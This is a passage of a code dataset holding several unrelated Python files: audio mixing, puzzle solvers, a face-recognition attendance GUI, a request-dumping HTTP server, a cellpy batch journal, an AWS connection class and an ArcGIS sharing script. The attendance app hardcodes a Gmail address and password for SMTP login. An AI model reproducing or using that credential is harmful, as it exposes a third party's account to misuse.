_ = librosa.load(audio_path + '/' + path2, sr=SR)\n ### 3.2s\n signal1_slice = signal1[:3*SR]\n signal2_slice = signal2[:3*SR]\n ### normalize\n signal1_n2 = librosa.util.normalize(signal1_slice, norm=2)\n signal2_n2 = librosa.util.normalize(signal2_slice, norm=2)\n ### merge\n signal3 = signal1_n2 + signal2_n2\n ### write mix_wav\n try:\n os.makedirs(normalize_audio_path)\n except FileExistsError:\n pass\n dir1 = normalize_audio_path + '/' + name1 + '.wav'\n sf.write(dir1, signal1_n2, samplerate=SR)\n dir2 = normalize_audio_path + '/' + name2 + '.wav'\n sf.write(dir2, signal2_n2, samplerate=SR)\n \n \n try:\n os.makedirs(mix_path)\n except FileExistsError:\n pass\n name3 = name1 + '~' + name2 + '.wav'\n dir3 = mix_path + '/' + name3\n sf.write(dir3, signal3, samplerate=SR)\n \n progress += 1\n print(\"Progress: {0}-{1}/{2}\".format(i,path2_count,len(f)))\n# ### feature extraction\n# signal3_mel = librosa.feature.melspectrogram(y=signal3, sr=SR, n_mels=N_MEL)\n# signal1_mel = librosa.feature.melspectrogram(y=signal1, sr=SR, n_mels=N_MEL)\n# signal2_mel = librosa.feature.melspectrogram(y=signal2, sr=SR, n_mels=N_MEL)\n# ### save h5py\n if path2_count == len(f)-1:\n break\n path2_count += 1\n\naudio_merge(nparray_path, audio_path, mix_path, audio_num) \n\n","sub_path":"avspeech_lf/audio_merge.py","file_name":"audio_merge.py","file_ext":"py","file_size_in_byte":2723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"105946646","text":"\"\"\"one bottle in another bottle\"\"\"\r\nn = int(input())\r\n\r\nif n not in range(1,100001):\r\n raise Exception\r\n\r\nval = [int(i) for i in input().split()] \r\nif n != len(val):\r\n raise Exception\r\n\r\nfor i in val:\r\n if i not in range(1,1000000000000000001):\r\n raise Exception\r\n\r\nvalue = val\r\nnew_value = list()\r\nans = list()\r\n\r\nwhile len(value) > 0:\r\n new_value = []\r\n for i in value:\r\n if i not in new_value:\r\n new_value.append(i)\r\n ans.append(max(new_value))\r\n #print(\"new_value\",new_value)\r\n for i in new_value:\r\n value.remove(i)\r\n #print(\"value:\",value)\r\nsol = len(ans)\r\nprint(sol)","sub_path":"bottle_neck.py","file_name":"bottle_neck.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"333235565","text":"import tkinter as tk\nimport cv2, os\nimport csv\nimport numpy as np\n# Python image library adds support for opening, manipulating, and saving many different image file formats\nfrom PIL import ImageTk,Image\nimport pandas as pd\nimport datetime\nimport time\n# smtplib module defines an SMTP client session object that can be used to send mail to any Internet machine with an SMTP or ESMTP listener daemon.\nimport smtplib\n# We will deal with the MIME message type, which is able to combine HTML and plain text.\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.base import MIMEBase\nfrom email import encoders\n\nwindow = tk.Tk()\n# helv36 = tk.Font(family='Helvetica', size=36, weight='bold')\nwindow.title(\"Face_Recogniser\")\n\n#dialog_title = 'QUIT'\n#dialog_text = 'Are you sure?'\n#answer = messagebox.askquestion(dialog_title, dialog_text)\n\n# window.geometry('1280x720')\nwindow.configure(background='#b3b3ff')\n\n# window.attributes('-fullscreen', True)\n\nwindow.grid_rowconfigure(0, weight=1)\nwindow.grid_columnconfigure(0, weight=1)\n\n\n\nmessage = tk.Label(window, text=\"Face Recognition Based Attendance System\", bg=\"#3d3d5c\", fg=\"white\", width=50,\n height=3, font=('poppins', 30, 'bold underline'))\n\nmessage.place(x=200, y=20)\n\nlbl = tk.Label(window, text=\"Enter ID\", width=20, height=2, fg=\"#00004d\", bg=\"white\", font=('poppins', 15, ' bold '))\nlbl.place(x=400, y=200)\n\ntxt = tk.Entry(window, width=20, bg=\"white\", fg=\"#00004d\", font=('times', 15, ' '))\ntxt.place(x=700, y=215)\n\nlbl2 = tk.Label(window, text=\"Enter Name\", width=20, fg=\"#00004d\", bg=\"white\", height=2, font=('poppins', 15, ' bold '))\nlbl2.place(x=400, y=300)\n\ntxt2 = tk.Entry(window, width=20, bg=\"white\", fg=\"#00004d\", font=('poppins', 15, ' '))\ntxt2.place(x=700, y=315)\n\nlbl3 = tk.Label(window, text=\"Notification : \", width=20, fg=\"#00004d\", bg=\"white\", height=2,\n font=('poppins', 15, ' bold '))\nlbl3.place(x=400, y=600)\n\nmessage = tk.Label(window, text=\"\", bg=\"white\", fg=\"#00004d\", width=40, height=1, activebackground=\"white\",\n font=('poppins', 15, ' '))\nmessage.place(x=700, y=615)\n\nlbl4 = tk.Label(window, text=\"Enter subject\", width=20, fg=\"#00004d\", bg=\"white\", height=2, font=('poppins', 15, ' bold '))\nlbl4.place(x=400, y=400)\n\ntxt3 = tk.Entry(window, width=30, bg=\"white\", fg=\"#00004d\", font=('poppins', 15, ' '))\ntxt3.place(x=700, y=415)\n\n\nlbl3 = tk.Label(window, text=\"Enter Email id : \", width=20, fg=\"#00004d\", bg=\"white\", height=2,\n font=('poppins', 15, 'bold'))\nlbl3.place(x=400, y=500)\n\nmessage2 = tk.Entry(window, width=30, bg=\"white\", fg=\"#00004d\", font=('poppins', 15, ' '))\nmessage2.place(x=700, y=515)\n\n\ndef clear():\n txt.delete(0, 'end')\n res = \"\"\n message.configure(text=res)\n\n\ndef clear2():\n txt2.delete(0, 'end')\n res = \"\"\n message.configure(text=res)\n\n\ndef is_number(s):\n try:\n float(s)\n return True\n except ValueError:\n pass\n\n try:\n import unicodedata\n unicodedata.numeric(s)\n return True\n except (TypeError, ValueError):\n pass\n\n return False\n\n\ndef TakeImages(): \n Id=(txt.get())\n name=(txt2.get())\n if(is_number(Id) and name.isalpha()):\n cam = cv2.VideoCapture(0)\n ''' Haar Cascade is a machine learning-based approach where a lot of positive and negative images are used to\n train the classifier. \n So how this works is they are huge individual .xml files with a lot of feature sets and each xml\n corresponds to a very specific type of use case.\n '''\n harcascadePath = \"haarcascade_frontalface_default.xml\"\n detector=cv2.CascadeClassifier(harcascadePath)\n sampleNum=0\n while(True):\n ret, img = cam.read()\n #converting image into gray scale\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces = detector.detectMultiScale(gray, 1.3, 5)# frame,scalefactor,minimum neighbours\n #print(faces)\n for (x,y,w,h) in faces:\n cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2) \n #incrementing sample number \n sampleNum=sampleNum+1\n #saving the captu#00004d face in the dataset folder TrainingImage\n cv2.imwrite(\"TrainingImage\\ \"+name +\".\"+Id +'.'+ str(sampleNum) + \".jpg\", gray[y:y+h,x:x+w])\n #display the frame\n cv2.imshow('frame',img)\n #wait for 100 miliseconds \n if cv2.waitKey(100) & 0xFF == ord('q'):\n break\n # break if the sample number is morethan 60\n elif sampleNum>60:\n break\n cam.release()\n cv2.destroyAllWindows() \n res = \"Images Saved for ID : \" + Id +\" Name : \"+ name\n row = [Id , name]\n with open('StudentDetails\\StudentDetails.csv','a+') as csvFile:\n writer = csv.writer(csvFile)\n writer.writerow(row)\n csvFile.close()\n# message.configure(text= res)\n TrainImages()\n else:\n if not is_number(Id):\n res = \"Enter Numeric Id\"\n message.configure(text= res)\n elif not name.isalpha():\n res = \"Enter Alphabetic Name\"\n message.configure(text= res)\n\n \n\n\ndef TrainImages():\n recognizer = cv2.face.LBPHFaceRecognizer_create()\n harcascadePath = \"haarcascade_frontalface_default.xml\"\n detector = cv2.CascadeClassifier(harcascadePath)\n faces, Id = getImagesAndLabels(\"TrainingImage\")\n recognizer.train(faces, np.array(Id))\n recognizer.save(\"TrainingImageLabel\\Trainner.yml\")\n res = \"Image Saved Successfully\" # +\",\".join(str(f) for f in Id)\n message.configure(text=res)\n\n\ndef getImagesAndLabels(path):\n # get the path of all the files in the folder\n imagePaths = [os.path.join(path, f) for f in os.listdir(path)]\n # print(imagePaths)\n\n # create empth face list\n faces = []\n # create empty ID list\n Ids = []\n # now looping through all the image paths and loading the Ids and the images\n for imagePath in imagePaths:\n # loading the image and converting it to gray scale\n pilImage = Image.open(imagePath).convert('L')\n # Now we are converting the PIL image into numpy array\n imageNp = np.array(pilImage, 'uint8')\n # getting the Id from the image\n Id = int(os.path.split(imagePath)[-1].split(\".\")[1])\n # extract the face from the training image sample\n faces.append(imageNp)\n Ids.append(Id)\n return faces, Ids\n\n\ndef TrackImages():\n recognizer = cv2.face.LBPHFaceRecognizer_create() # cv2.createLBPHFaceRecognizer()\n recognizer.read(\"TrainingImageLabel\\Trainner.yml\")\n harcascadePath = \"haarcascade_frontalface_default.xml\"\n faceCascade = cv2.CascadeClassifier(harcascadePath);\n df = pd.read_csv(\"StudentDetails\\StudentDetails.csv\")\n cam = cv2.VideoCapture(0, cv2.CAP_DSHOW)\n font = cv2.FONT_HERSHEY_SIMPLEX\n col_names = ['Id', 'Name','Subject', 'Date', 'Time']\n attendance = pd.DataFrame(columns=col_names)\n sub =(txt3.get())\n email_sender=(message2.get())\n if sub and email_sender:\n while True:\n ret, im = cam.read()\n gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n faces = faceCascade.detectMultiScale(gray, 1.3, 5)\n sub =(txt3.get())\n for (x, y, w, h) in faces:\n cv2.rectangle(im, (x, y), (x + w, y + h), (225, 0, 0), 2)\n Id, conf = recognizer.predict(gray[y:y + h, x:x + w])\n if (conf < 50):\n ts = time.time()\n date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d')\n timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')\n aa = df.loc[df['Id'] == Id]['Name'].values\n tt = str(Id) + \"-\" + aa\n attendance.loc[len(attendance)] = [Id, aa,sub, date, timeStamp]\n\n else:\n Id = 'Unknown'\n tt = str(Id)\n if (conf > 75):\n noOfFile = len(os.listdir(\"ImagesUnknown\")) + 1\n cv2.imwrite(\"ImagesUnknown\\Image\" + str(noOfFile) + \".jpg\", im[y:y + h, x:x + w])\n cv2.putText(im, str(tt), (x, y + h), font, 1, (255, 255, 255), 2)\n attendance = attendance.drop_duplicates(subset=['Id'], keep='first')\n cv2.imshow('im', im)\n if (cv2.waitKey(1) == ord('q')):\n break\n sub = (txt3.get())\n ts = time.time()\n date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d')\n timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')\n Hour, Minute, Second = timeStamp.split(\":\")\n fileName =\"C:\\Face Attendance\\Attendance\\\\\"+ sub+\" \"+ date+\"_\"+Hour+\"-\"+Minute+\"-\"+Second + \".csv\"\n \n attendance.to_csv(fileName, index=False)\n cam.release()\n cv2.destroyAllWindows()\n\n \n\n email_user = 'icewizards110@gmail.com'\n email_password = 'devarshjenil'\n email_send = email_sender\n \n subject = 'Attendance of '+sub\n \n msg = MIMEMultipart()\n msg['From'] = email_user\n msg['To'] = email_send\n msg['Subject'] = subject\n \n body = 'Hereby is the attached attendance sheet of '+sub +\" subject.\"\n msg.attach(MIMEText(body, 'plain'))\n filename =\"C:\\Face Attendance\\Attendance\\\\\"+ sub+\" \"+date+\"_\"+Hour+\"-\"+Minute+\"-\"+Second + \".csv\"\n #filename = \"Attendance\" + date+\"_\"+Hour+\"-\"+Minute+\"-\"+Second + \".csv\"\n attachment = open(filename, 'rb')\n \n part = MIMEBase('application', 'octet-stream')\n part.set_payload(attachment.read())\n encoders.encode_base64(part)\n part.add_header('Content-Disposition', \"attachment; filename= \" + filename)\n \n msg.attach(part)\n text = msg.as_string()\n server = smtplib.SMTP('smtp.gmail.com', 587)\n server.starttls()\n server.login(email_user, email_password)\n \n server.sendmail(email_user, email_send, text)\n server.quit()\n else:\n res = \"Enter Subject Name and Email-Id\"\n message.configure(text=res)\n\n\nclearButton = tk.Button(window, text=\"Clear\", command=clear, fg=\"#00004d\", bg=\"#e6e6e6\", width=20, height=1,\n activebackground=\"#00004d\", font=('poppins', 15, ' bold '))\nclearButton.place(x=950, y=200)\nclearButton2 = tk.Button(window, text=\"Clear\", command=clear2, fg=\"#00004d\", bg=\"#e6e6e6\", width=20, height=1,\n activebackground=\"#00004d\", font=('poppins', 15, ' bold '))\nclearButton2.place(x=950, y=300)\ntakeImg = tk.Button(window, text=\"Register User\", command=TakeImages, fg=\"#00004d\", bg=\"#e6e6e6\", width=20, height=2,\n activebackground=\"#00004d\", font=('poppins', 15, ' bold '))\ntakeImg.place(x=350, y=700)\ntrackImg = tk.Button(window, text=\"Attendance\", command=TrackImages, fg=\"#00004d\", bg=\"#e6e6e6\", width=20, height=2,\n activebackground=\"#00004d\", font=('poppins', 15, ' bold '))\ntrackImg.place(x=675, y=700)\nquitWindow = tk.Button(window, text=\"Quit\", command=window.destroy, fg=\"#00004d\", bg=\"#e6e6e6\", width=20, height=2,\n activebackground=\"#00004d\", font=('poppins', 15, ' bold '))\nquitWindow.place(x=1000, y=700)\n\nwindow.mainloop()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"188252779","text":"#!/usr/bin/env python3\n\nimport http.server\nimport pprint\nimport sys\n\nHostname = '127.0.0.1'\nProtocol = 'HTTP/1.0'\n\nclass MyHandler(http.server.BaseHTTPRequestHandler):\n\tdef do_GET(s):\n\t\ts.send_response(200)\n\t\ts.send_header(\"Content-type\", \"text/plain\")\n\t\ts.end_headers()\n\t\ts.wfile.write(\"OK\".encode('utf-8'))\n\t\tpprint.pprint(vars(s))\n\tdef do_HEAD(s):\n\t\ts.send_response(200)\n\t\ts.send_header(\"Content-type\", \"text/plain\")\n\t\ts.end_headers()\n\tdef do_POST(s):\n\t\ts.send_response(200)\n\t\ts.send_header(\"Content-type\", \"text/plain\")\n\t\ts.end_headers()\n\t\ts.wfile.write(\"OK\".encode('utf-8'))\n\t\tprint('=== GENERAL DUMP ===')\n\t\tpprint.pprint(vars(s))\n\t\tprint('=== HEADERS ===')\n\t\tpprint.pprint(vars(s.headers))\n\t\tprint('=== REQUEST BODY ===')\n\t\t#pprint.pprint(s.request)\n\t\tcontent_length = int(s.headers['content-length'])\n\t\tpost_body = s.rfile.read(content_length)\n\t\tpprint.pprint(post_body)\n\t\tprint('=== SERVER INFO ===')\n\t\tpprint.pprint(vars(s.server))\n\nif __name__ == '__main__':\n if sys.argv[1:]:\n port = int(sys.argv[1])\n else:\n port = 8080\n server_address = (Hostname, port)\n\n HandlerClass = MyHandler\n ServerClass = http.server.HTTPServer\n\n HandlerClass.protcol_version = Protocol\n httpd = ServerClass(server_address, HandlerClass)\n\n sa = httpd.socket.getsockname()\n print('Serving HTTP on {0} port {1}'.format(sa[0], sa[1]))\n try:\n httpd.serve_forever()\n except KeyboardInterrupt:\n pass\n httpd.server_close()\n print('Server Stops - {0}:{1}'.format(sa[0], sa[1]))","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"515394667","text":"class Solution(object):\n def canFinish(self, numCourses, prerequisites):\n \"\"\"\n :type numCourses: int\n :type prerequisites: List[List[int]]\n :rtype: bool\n \"\"\"\n courses = [0 for i in range(numCourses)]\n prereqEdges = {}\n for edge in prerequisites:\n prevCourse = edge[1]\n currCourse = edge[0]\n courses[currCourse] += 1\n if prevCourse not in prereqEdges:\n prereqEdges[prevCourse] = []\n prereqEdges[prevCourse].append(currCourse)\n queue = []\n for i in range(len(courses)):\n if courses[i] == 0:\n queue.append(i)\n while queue:\n temp = queue.pop(0)\n tempChildren = prereqEdges.get(temp)\n if tempChildren:\n for child in tempChildren:\n courses[child] -= 1\n if courses[child] == 0:\n queue.append(child)\n for val in courses:\n if val != 0:\n return False\n return True\n\n ","sub_path":"CourseSchedule.py","file_name":"CourseSchedule.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"579455056","text":"import boto3\nimport logging\nfrom twindb_benchmarks.providers.aws import util\n\nUS_EAST_1 = 'us-east-1'\nUS_WEST_1 = 'us-west-1'\nUS_WEST_2 = 'us-west-2'\nEU_WEST_1 = 'eu-west-1'\nAP_NORTHEAST_1 = 'ap-northeast-1'\nAP_SOUTHEAST_1 = 'ap-southeast-1'\nAP_SOUTHEAST_2 = 'ap-southeast-2'\nSA_EAST_1 = 'sa-east-1'\n\n\nclass AWSConnection(object):\n def __init__(self, aws_access_key_id, aws_secret_access_key, zone):\n self._aws_access_key_id = aws_access_key_id\n self._aws_secret_access_key = aws_secret_access_key\n\n if not util.is_valid_zone(zone):\n raise ValueError('Incorrect zone %s passed' % zone)\n\n self._region = util.get_region(zone)\n self._zone = zone\n\n def get_connection(self):\n logging.info('Creating a connection to AWS API')\n\n session = boto3.Session(aws_access_key_id=self._aws_access_key_id,\n aws_secret_access_key=self._aws_secret_access_key, region_name=self._region)\n\n return session\n\n @property\n def region(self):\n return self._region\n\n @property\n def zone(self):\n return self._zone\n","sub_path":"twindb_benchmarks/providers/aws/aws_connection.py","file_name":"aws_connection.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"589046633","text":"from __future__ import print_function\nimport time\nimport menu\nimport sys\nimport time\n\nclass Control:\n \"\"\"control the monitor from a ui\"\"\"\n update_rate = 250 # in ms\n blank_delay = 10 # s\n autohide_delay = 5000 # in ms\n \n def __init__(self, ui, state, opts, desc):\n self.ui = ui\n self.state = state\n self.items = self._create_menu(opts, desc)\n self.menu = menu.Menu(ui, self.items)\n self.in_menu = False\n self.last_level = \"\"\n self.last_level_ts = 0\n self.audio_state = \"init\"\n self.last_button_ts = None\n self.is_blanking = False\n self.last_backlight = self.ui.BACK_OFF\n self.allow_blank = True\n self.allow_chime = True\n self.ping_state = None\n self.ping_step = 0\n self.restart_ts = None\n # state\n self.is_connected = False\n self.is_audio_active = False\n self.is_audio_muted = False\n self.is_audio_playing = False\n self.is_audio_listen = False\n self._print_state()\n self._print_title()\n self._print_value()\n \n def _create_menu(self, opts, desc):\n result = []\n for key in opts:\n value = opts[key]\n t = type(value)\n if t == int:\n d = desc[key]\n m = menu.IntMenuItem(key, value, d[1], d[2])\n elif t == bool:\n m = menu.BoolMenuItem(key, value)\n result.append(m)\n return result \n \n def shutdown(self):\n self.ui.shutdown()\n \n # ----- update state calls -----\n \n def _print_title(self):\n # get time and display clock\n tim = time.time()\n t = time.localtime(tim)\n hour = t[3]\n mins = t[4] \n txt = \"%02d:%02d \" % (hour, mins)\n # ping state\n if self.ping_state == None:\n txt += \" \"\n elif self.ping_state == False:\n txt += \"!\"\n else:\n txt += \".\"\n self.ui.update_title(txt)\n self._update_back()\n \n def _update_back(self):\n if self.is_blanking:\n back = self.ui.BACK_OFF\n else:\n # yellow if force no blank\n if not self.allow_blank:\n back = self.ui.BACK_YELLOW\n # white is default color\n else:\n back = self.ui.BACK_WHITE\n \n # overwrite if state\n if self.is_connected:\n if self.is_audio_active:\n if self.is_audio_playing:\n back = self.ui.BACK_GREEN\n else:\n back = self.ui.BACK_RED\n else:\n back = self.ui.BACK_BLUE\n\n if back != self.last_backlight:\n self.last_backlight = back\n self.ui.update_background(back)\n \n def update_audio_ping(self, ping_state):\n \"\"\"state of pinging the audio server: None=send ping, True=does ping, False=no ping\"\"\"\n self.ping_state = ping_state\n self._print_title()\n \n def update_audio_state(self, audio_state, is_audio_active, is_connected):\n self.audio_state = audio_state\n self.is_audio_active = is_audio_active\n self.is_connected = is_connected\n self._print_state()\n self._update_blanking()\n \n def update_mon_state(self, is_audio_muted, is_audio_listen, allow_chime, allow_blank):\n self.is_audio_muted = is_audio_muted\n self.is_audio_listen = is_audio_listen\n self.allow_chime = allow_chime\n self.allow_blank = allow_blank\n self._print_state()\n self._update_blanking()\n \n def update_audio_play(self, is_audio_playing):\n self.is_audio_playing = is_audio_playing\n self._print_state()\n \n def _print_state(self):\n if self.in_menu:\n return\n # audio state\n txt = \"%7s \" % self.audio_state\n # play state\n if self.is_audio_playing:\n txt += \"PLAY\"\n else:\n txt += \"stop\"\n # mon state\n if self.is_audio_muted:\n txt += \" M\"\n else:\n txt += \" \"\n if self.is_audio_listen:\n txt += \"L\"\n else:\n txt += \" \"\n if self.allow_chime:\n txt += \"*\"\n else:\n txt += \" \"\n self.ui.update_message(txt)\n self._update_back()\n \n def update_audio_level(self, max_level, cur_level):\n \"\"\"audio level changed\"\"\"\n level = \"%03d %03d\" % (max_level, cur_level)\n ts = time.time()\n if level != self.last_level:\n self.last_level = level\n delta = (ts - self.last_level_ts) * 1000\n if delta > self.update_rate:\n self._print_value()\n self.last_level_ts = ts\n \n def _autohide_levels(self):\n if self.last_level != \"\":\n ts = time.time()\n delta = (ts -self.last_level_ts) * 1000\n if delta > self.autohide_delay:\n self.last_level = \"\"\n self._print_value()\n self.last_level_ts = ts\n \n def _print_value(self):\n self.ui.update_status(self.last_level)\n \n def _leave_menu(self):\n self.in_menu = False\n self.menu.hide()\n self.ui.show_message(\"\")\n self._print_state()\n self._update_blanking(True)\n \n def _enter_menu(self):\n self.in_menu = True\n self.ui.hide_message()\n self.menu.show()\n \n def handle_events(self):\n self._autohide_levels()\n exit_flag = None\n # inside menu\n if self.in_menu:\n item = self.menu.handle_next_event()\n if item == False:\n self._leave_menu()\n elif item != None:\n self._handle_menu_item(item)\n # outside menu\n else:\n ev = self.ui.get_next_event()\n if ev != None:\n munged = self._update_blanking(ev != 0)\n if not munged:\n exit_flag = self._handle_direct_key(ev)\n return exit_flag\n\n def update_audio_option(self, key, value):\n \"\"\"set an audio option from bot\"\"\"\n item = None\n for i in self.items:\n if i.name == key:\n i.set_value(value)\n item = i\n # is currently shown?\n if self.in_menu and item == self.menu.get_current_item():\n self.menu.update_current_item()\n \n def _handle_menu_item(self, item):\n \"\"\"set an audio option from menu\"\"\"\n self.state.set_audio_option(item.name, item.get_value(), False)\n \n def _handle_direct_key(self, ev):\n \"\"\"some key outside of menu was pressed\"\"\"\n # check for restart combo\n ok = self._check_restart(ev)\n if ok == True:\n return True\n elif ok == False:\n return None\n \n if ev & self.ui.EVENT_PICK:\n # enter menu\n self._enter_menu()\n elif ev & self.ui.EVENT_NEXT:\n # toggle mute\n on = not self.state.is_audio_muted\n self.state.execute_audio_mute(on, False)\n elif ev & self.ui.EVENT_PREV:\n # toggle listen\n on = not self.state.is_audio_listen\n self.state.execute_audio_listen(on, False)\n elif ev & self.ui.EVENT_DEC:\n # toggle no/blank\n on = not self.allow_blank\n self.state.execute_blank(on, False)\n elif ev & self.ui.EVENT_INC:\n # toggle no/chime\n on = not self.allow_chime\n self.state.execute_audio_chime(on, False)\n return None\n \n def _check_restart(self, ev):\n \"\"\"key if restart key was pressed long enough\"\"\"\n restart_combo = self.ui.EVENT_DEC | self.ui.EVENT_INC\n pressed = (ev & restart_combo) == restart_combo\n if pressed:\n ts = time.time()\n if self.restart_ts == None:\n self.restart_ts = ts\n else:\n delta = (ts - self.restart_ts)\n print(\"restart delta\",delta,file=sys.stderr)\n if delta > 1: # 1s triggers restart\n self.ui.show_message(\"--> RESTART <--\")\n return True\n return False\n elif ev != 0:\n # any other combo resets\n print(\"no restart\",file=sys.stderr)\n self.restart_ts = None\n return None\n \n def _update_blanking(self, any_key=None):\n \"\"\"check if blanking state has changed\"\"\"\n new_blanking = self.is_blanking\n\n # init ts on startup\n if self.last_button_ts == None:\n self.last_button_ts = time.time()\n \n # a key press was reported\n if any_key == True:\n # disable any blanking\n new_blanking = False\n self.last_button_ts = None\n \n # no key press was reported\n elif any_key == False:\n # wait\n delay = (time.time() - self.last_button_ts)\n if delay >= self.blank_delay:\n new_blanking = True\n \n # allow blanking only in some states\n if self.audio_state not in ('idle','init','online'):\n new_blanking = False\n \n # blanking not allowed by user\n if not self.allow_blank:\n new_blanking = False\n \n # changed blanking?\n if new_blanking != self.is_blanking:\n print(\"blanking: \",self.is_blanking,file=sys.stderr)\n self.is_blanking = new_blanking\n self._update_back()\n return True\n else:\n return False\n\n# ----- test -----\nif __name__ == '__main__':\n from lcdui import LCDUI\n import time\n import sys\n import random\n def say(msg):\n sys.stdout.write(msg+\"\\n\")\n sys.stdout.flush()\n c = Control(LCDUI(),say)\n count = 0\n active = False\n muted = False\n error = None\n while True:\n c.handle_events()\n time.sleep(0.1)\n count += 1\n # simulate active\n if count % 23 == 0:\n active = not active\n c.set_active(active)\n # simulate mute\n if count % 13 == 0:\n muted = not muted\n c.set_muted(muted)\n # simulate error\n if count % 37 == 0:\n error = random.randint(0,0xfff)\n if error < 10:\n error = None\n c.set_error(error)\n # simulate level\n if count % 5 == 0:\n level = random.randint(0,256)\n if level == 0:\n level = None\n c.set_level(level)\n","sub_path":"pifon/mon/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":9151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"498695027","text":"import json\nimport logging\nimport os\n\nimport pandas as pd\n\nfrom cellpy.exceptions import UnderDefined\nfrom cellpy.parameters import prms\nfrom cellpy.readers import dbreader\nfrom cellpy.utils.batch_tools.batch_core import BaseJournal\nfrom cellpy.utils.batch_tools.engines import simple_db_engine\nfrom cellpy.readers.core import doc_inherit\n\nlogger = logging.getLogger(__name__)\n\n\nclass LabJournal(BaseJournal):\n\n def __init__(self, db_reader=\"default\"):\n super().__init__()\n if db_reader == \"default\":\n self.db_reader = dbreader.Reader()\n else:\n logger.debug(f\"Remark! db_reader: {db_reader}\")\n self.db_reader = db_reader\n self.batch_col = \"b01\"\n\n def _check_file_name(self, file_name):\n if file_name is None:\n if not self.file_name:\n self.generate_file_name()\n file_name = self.file_name\n return file_name\n\n @doc_inherit\n def from_db(self, project=None, name=None, batch_col=None):\n if batch_col is None:\n batch_col = self.batch_col\n if project is not None:\n self.project = project\n if name is None:\n name = self.name\n else:\n self.name = name\n logging.debug(\n f\"batch_name, batch_col: {name}, {batch_col}\"\n )\n if self.db_reader is not None:\n srnos = self.db_reader.select_batch(name, batch_col)\n self.pages = simple_db_engine(self.db_reader, srnos)\n else:\n logging.debug(\"creating empty journal pages\")\n self.pages = pd.DataFrame()\n self.generate_folder_names()\n self.paginate()\n\n def from_file(self, file_name=None):\n \"\"\"Loads a DataFrame with all the needed info about the experiment\"\"\"\n\n file_name = self._check_file_name(file_name)\n\n with open(file_name, 'r') as infile:\n top_level_dict = json.load(infile)\n\n pages_dict = top_level_dict['info_df']\n pages = pd.DataFrame(pages_dict)\n self.pages = pages\n self.file_name = file_name\n self._prm_packer(top_level_dict['metadata'])\n self.generate_folder_names()\n self.paginate()\n\n def to_file(self, file_name=None):\n \"\"\"Saves a DataFrame with all the needed info about the experiment\"\"\"\n\n file_name = self._check_file_name(file_name)\n pages = self.pages\n\n top_level_dict = {\n 'info_df': pages,\n 'metadata': self._prm_packer()\n }\n\n jason_string = json.dumps(\n top_level_dict,\n default=lambda info_df: json.loads(\n info_df.to_json()\n )\n )\n\n self.paginate()\n\n with open(file_name, 'w') as outfile:\n outfile.write(jason_string)\n\n self.file_name = file_name\n logging.info(\"Saved file to {}\".format(file_name))\n\n def generate_folder_names(self):\n \"\"\"Set appropriate folder names.\"\"\"\n self.project_dir = os.path.join(prms.Paths.outdatadir, self.project)\n self.batch_dir = os.path.join(self.project_dir, self.name)\n self.raw_dir = os.path.join(self.batch_dir, \"raw_data\")\n\n def paginate(self):\n \"\"\"Make folders where we would like to put results etc.\"\"\"\n\n project_dir = self.project_dir\n raw_dir = self.raw_dir\n batch_dir = self.batch_dir\n\n if project_dir is None:\n raise UnderDefined(\"no project directory defined\")\n if raw_dir is None:\n raise UnderDefined(\"no raw directory defined\")\n if batch_dir is None:\n raise UnderDefined(\"no batcb directory defined\")\n\n # create the folders\n if not os.path.isdir(project_dir):\n os.mkdir(project_dir)\n logging.info(f\"created folder {project_dir}\")\n if not os.path.isdir(batch_dir):\n os.mkdir(batch_dir)\n logging.info(f\"created folder {batch_dir}\")\n if not os.path.isdir(raw_dir):\n os.mkdir(raw_dir)\n logging.info(f\"created folder {raw_dir}\")\n\n return project_dir, batch_dir, raw_dir\n\n def generate_file_name(self):\n \"\"\"generate a suitable file name for the experiment\"\"\"\n if not self.project:\n raise UnderDefined(\"project name not given\")\n\n out_data_dir = prms.Paths.outdatadir\n project_dir = os.path.join(out_data_dir, self.project)\n file_name = \"cellpy_batch_%s.json\" % self.name\n self.file_name = os.path.join(project_dir, file_name)\n\n def look_for_file(self):\n pass\n","sub_path":"cellpy/utils/batch_tools/batch_journals.py","file_name":"batch_journals.py","file_ext":"py","file_size_in_byte":4571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"298512092","text":"from arcgis.gis import GIS\nimport json\nimport sys\nimport csv\nimport os\n\n\ndef get_config(in_file):\n\n with open(in_file) as config:\n param_dict = json.load(config)\n\n return param_dict\n\n\ndef share_circuit_content(grp_gis, circuit, group):\n\n print('Sharing Circuit {} with Group {}'.format(circuit, group.title))\n\n item_set = grp_gis.content.search('title: {}*'.format(circuit))\n\n if len(item_set) != 4:\n raise Exception('More Values Found Than Expected')\n\n for item in item_set:\n share_res = item.share(groups=[group])\n print(share_res)\n\n\nif __name__ == \"__main__\":\n\n # Get Script Directory\n this_dir = os.path.split(os.path.realpath(__file__))[0]\n\n # Collect Configured Parameters\n parameters = get_config(os.path.join(this_dir, 'config.json'))\n group_portal = parameters['group_portal']\n user_portal = parameters['user_portal']\n circuit_id = parameters['circuit_id']\n\n # Collect Command Line 